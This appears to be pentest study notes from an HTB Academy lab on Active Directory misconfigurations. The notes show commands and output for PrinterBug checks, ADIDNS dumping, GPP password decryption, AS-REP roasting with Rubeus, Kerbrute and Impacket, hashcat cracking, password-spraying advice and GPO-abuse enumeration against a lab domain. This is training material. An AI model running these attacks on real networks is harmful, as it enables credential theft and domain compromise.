Misconfiguration

PrinterBug

PS C:\htb> Import-Module .\SecurityAssessment.ps1
PS C:\htb> Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

ComputerName                        Status
------------                        ------
ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL   True

DNS

adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
head records.csv 

type,name,value
A,LOGISTICS,172.16.5.240
AAAA,ForestDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,ForestDnsZones,dead:beef::231
A,ForestDnsZones,10.129.202.29
A,ForestDnsZones,172.16.5.240
A,ForestDnsZones,172.16.5.5
AAAA,DomainDnsZones,dead:beef::7442:c49d:e1d7:2691
AAAA,DomainDnsZones,dead:beef::231
A,DomainDnsZones,10.129.202.29

Password in description field

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}

samaccountname description
-------------- -----------
administrator  Built-in account for administering the computer/domain
guest          Built-in account for guest access to the computer/domain
krbtgt         Key Distribution Center Service Account
ldap.agent     *** DO NOT CHANGE ***  3/12/2012: Sunsh1ne4All!

PASSWD_NOTREQD Field

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
PS C:\htb> Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

samaccountname                                                         useraccountcontrol
--------------                                                         ------------------
guest                ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
mlowe                                PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ehamilton                            PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
$725000-9jb50uejje9f                       ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT
nagiosagent                                                PASSWD_NOTREQD, NORMAL_ACCOUNT

Then check if no password is required

Credentials in SMB Shares and SYSVOL Scripts

PS C:\htb> ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts

    Directory: \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts


Mode                LastWriteTime         Length Name                                                                 
----                -------------         ------ ----                                                                 
-a----       11/18/2021  10:44 AM            174 daily-runs.zip                                                       
-a----        2/28/2022   9:11 PM            203 disable-nbtns.ps1                                                    
-a----         3/7/2022   9:41 AM         144138 Logon Banner.htm                                                     
-a----         3/8/2022   2:56 PM            979 reset_local_admin_pass.vbs

Group Policy Preferences (GPP) Passwords

Groups.xml

gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE

Password1

Often, GPP passwords are defined for legacy accounts, and you may therefore retrieve and decrypt the password for a locked or deleted account. However, it is worth attempting to password spray internally with this password (especially if it is unique). Password re-use is widespread, and the GPP password combined with password spraying could result in further access.

$ crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] INLANEFREIGHT.LOCAL\forend:Klmcargo2 
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  [+] Found SYSVOL share
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  [*] Searching for Registry.xml
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  [*] Found INLANEFREIGHT.LOCAL/Policies/{CAEBB51E-92FD-431D-8DBE-F9312DB5617D}/Machine/Preferences/Registry/Registry.xml
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  [+] Found credentials in INLANEFREIGHT.LOCAL/Policies/{CAEBB51E-92FD-431D-8DBE-F9312DB5617D}/Machine/Preferences/Registry/Registry.xml
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  Usernames: ['guarddesk']
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  Domains: ['INLANEFREIGHT.LOCAL']
GPP_AUTO... 172.16.5.5      445    ACADEMY-EA-DC01  Passwords: ['ILFreightguardadmin!']
NetExec - CME

ASREPRoasting

Rubeus

PS C:\htb> Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

samaccountname     : mmorgan
userprincipalname  : mmorgan@inlanefreight.local
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
PS C:\htb> .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: AS-REP roasting

[*] Target User            : mmorgan
[*] Target Domain          : INLANEFREIGHT.LOCAL

[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=mmorgan))'
[*] SamAccountName         : mmorgan
[*] DistinguishedName      : CN=Matthew Morgan,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] Using domain controller: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL (172.16.5.5)
[*] Building AS-REQ (w/o preauth) for: 'INLANEFREIGHT.LOCAL\mmorgan'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
     $krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:D18650F4F4E0537E0188A6897A478C55$0978822DEC13046712DB7DC03 <SNIP>
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
Hashes

Kerbrute

No credentials needed, only a list of users

$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/01/22 - Ronnie Flathers @ropnop

2022/04/01 13:14:17 >  Using KDC(s):
2022/04/01 13:14:17 >  	172.16.5.5:88

2022/04/01 13:14:17 >  [+] VALID USERNAME:	 sbrown@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 jjones@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 tjohnson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 jwilson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 bdavis@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 njohnson@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 asanchez@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 dlewis@inlanefreight.local
2022/04/01 13:14:17 >  [+] VALID USERNAME:	 ccruz@inlanefreight.local
2022/04/01 13:14:17 >  [+] mmorgan has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:400d306dda575be3d429aad39ec68a33$8698ee

Impacket

No credentials needed, only a valid username list

$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users 
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[-] User sbrown@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jjones@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tjohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwilson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bdavis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User njohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asanchez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dlewis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ccruz@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$mmorgan@inlanefreight.local@INLANEFREIGHT.LOCAL:47e0d517f2a5815da8345dd9247a0e3d$b62d45bc3c0f4c306402a205ebdbbc623d77ad016e657337630c70f651451400329545fb634c9d329ed024ef145bdc2afd4af498b2f0092766effe6ae12b3c3beac28e6ded0b542e85d3fe52467945d98a722cb52e2b37325a53829ecf127d10ee98f8a583d7912e6ae3c702b946b65153bac16c97b7f8f2d4c2811b7feba92d8bd99cdeacc8114289573ef225f7c2913647db68aafc43a1c98aa032c123b2c9db06d49229c9de94b4b476733a5f3dc5cc1bd7a9a34c18948edf8c9c124c52a36b71d2b1ed40e081abbfee564da3a0ebc734781fdae75d3882f3d1d68afdb2ccb135028d70d1aa3c0883165b3321e7a1c5c8d7c215f12da8bba9
[-] User rramirez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwallace@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsantiago@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set

<SNIP>
LogoHTB: Sauna0xdf hacks stuff

References

LogoAS_REP Roastinghackndo
LogoHow To Attack Kerberos 101m0chan Blog - Info Sec, CTF & Hacking

Group Policy Object (GPO) Abuse

Use group3r, ADRecon, PingCastle, among others, to audit the security of GPOs in a domain.

PowerView

PS C:\htb> Get-DomainGPO |select displayname

displayname
-----------
Default Domain Policy
Default Domain Controllers Policy
Deny Control Panel Access
Disallow LM Hash
Deny CMD Access
Disable Forced Restarts
Block Removable Media
Disable Guest Account
Service Accounts Password Policy
Logon Banner
Disconnect Idle RDP
Disable NetBIOS
AutoLogon
GuardAutoLogon
Certificate Services

Built-In Cmdlet

PS C:\htb> Get-GPO -All | Select DisplayName

DisplayName
-----------
Certificate Services
Default Domain Policy
Disable NetBIOS
Disable Guest Account
AutoLogon
Default Domain Controllers Policy
Disconnect Idle RDP
Disallow LM Hash
Deny CMD Access
Block Removable Media
GuardAutoLogon
Service Accounts Password Policy
Logon Banner
Disable Forced Restarts
Deny Control Panel Access

Enumerating Domain User GPO Rights

PS C:\htb> $sid=Convert-NameToSid "Domain Users"
PS C:\htb> Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

ObjectDN              : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID             :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl,
                        WriteOwner
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 983095
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-513
AceType               : AccessAllowed
AceFlags              : ObjectInherit, ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit, ObjectInherit
PropagationFlags      : None
AuditFlags            : None
PS C:\htb Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532

DisplayName      : Disconnect Idle RDP
DomainName       : INLANEFREIGHT.LOCAL
Owner            : INLANEFREIGHT\Domain Admins
Id               : 7ca9c789-14ce-46e3-a722-83f4097af532
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 10/28/2021 3:34:07 PM
ModificationTime : 4/5/2022 6:54:25 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

Exploit Tools

LogoGitHub - FSecureLABS/SharpGPOAbuse: SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.GitHub
LogoGitHub - Hackndo/pyGPOAbuse: Partial python implementation of SharpGPOAbuseGitHub

Group3r

C:\htb> group3r.exe -f <filepath-name.log>

References

LogoGPO - Chemin d'attaquehackndo
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